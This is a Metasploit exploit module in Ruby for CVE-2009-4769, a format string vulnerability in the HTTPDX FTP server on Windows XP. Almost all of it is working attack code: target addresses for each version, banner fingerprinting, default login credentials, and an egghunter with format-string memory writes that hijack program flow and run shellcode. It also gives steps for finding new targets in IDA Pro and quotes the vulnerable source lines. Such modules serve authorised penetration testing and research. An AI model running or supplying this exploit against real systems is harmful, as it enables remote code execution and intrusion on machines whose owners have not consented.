##
# $Id: httpdx_tolog_format.rb 10150 2010-08-25 20:55:37Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Egghunter
include Msf::Exploit::FormatString
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTPDX tolog() Function Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in HTTPDX FTP server.
By sending an specially crafted FTP command containing format specifiers, an
attacker can corrupt memory and execute arbitrary code.
By default logging is off for HTTP, but enabled for the 'moderator' user
via FTP.
},
'Author' =>
[
'jduck' # original discovery and metasploit module
],
'Version' => '$Revision: 10150 $',
'References' =>
[
[ 'CVE', '2009-4769' ],
[ 'OSVDB', '60181' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged' => true,
'Payload' =>
{
# format string max length
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d\x25",
'DisableNops' => 'True',
'StackAdjustment' => -1500
},
'Platform' => 'win',
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
#
# specific targets
#
[ 'httpdx 1.4 - Windows XP SP3 English',
{
'NumPops' => 37,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
],
[ 'httpdx 1.4.5 - Windows XP SP3 English',
{
'NumPops' => 37,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
],
[ 'httpdx 1.4.6 - Windows XP SP3 English',
{
'NumPops' => 37,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
],
[ 'httpdx 1.4.6b - Windows XP SP3 English',
{
'NumPops' => 37,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
],
[ 'httpdx 1.5 - Windows XP SP3 English',
{
'NumPops' => 29,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 17 2009'))
=begin
NOTE: Even though all targets have the same addresses now, future targets may not.
To find a target:
1. open "core.dll" in IDA Pro
2. navigate to the "c_wildcmp" function
3. follow the xref to the first strlen
4. follow the xref to the imports area
5. copy/paste the address
6. the 'Writable' value should be anything after the last address IDA shows..
(preferably something above 0x0d, to avoid bad chars)
If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
For now, that will have to be done manually.
=end
register_options(
[
Opt::RPORT(21),
# note the default user/pass
OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']),
OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123'])
], self.class )
end
def check
connect
disconnect
print_status("FTP Banner: #{banner}".strip)
if banner =~ /httpdx.*\(Win32\)/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
# Use a copy of the target
mytarget = target
if (target['auto'])
mytarget = nil
print_status("Automatically detecting the target...")
connect
disconnect
if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
print_status("No matching target")
return
end
self.targets.each do |t|
if (t.name =~ /#{version} - /) then
mytarget = t
break
end
end
if (not mytarget)
print_status("No matching target")
return
end
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
end
# proceed with chosen target...
connect_login
# '<ip>\n PWD '
ip_length = Rex::Socket.source_address(datastore['RHOST']).length
num_start = ip_length + 1 + 3 + 1
# use the egghunter!
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
# write shellcode to 'writable' (all at once)
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
print_status(" payload format string buffer is #{fmtbuf.length} bytes")
if (res = send_cmd(['PWD', fmtbuf ], true))
print_status(res.strip)
end
# write 'writable' addr to flowhook (execute shellcode)
# NOTE: the resulting two writes must be done at the same time
fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
# add payload to the end
fmtbuf << eh_egg
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
if (res = send_cmd(['PWD', fmtbuf ], true))
print_status(res.strip)
end
disconnect
handler
# connect again to trigger shellcode
print_status(" triggering shellcode now")
print_status("Please be patient, the egg hunter may take a while...")
connect
end
end
=begin
also present in 1.5 (presumably all versions in between)
1.4/httpdx_src/ftp.cpp:
544 //printf(out);
545 char af[MAX] = {0};
546 if(isset(out) && client->serve.log || client->serve.debug)
547 snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);
548 if(isset(out) && client->serve.log)
549 tolog(client->serve.accessl,af);
550 if(isset(out) && client->serve.debug)
551 printf(af);
1.4/httpdx_src/http.cpp:
172 char af[MAX] = {0};
173 if(client.serve.log || client.serve.debug)
174 snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);
175 if(client.serve.log)
176 tolog(client.serve.accessl,af);
177 if(client.serve.debug)
178 printf(af);
=end
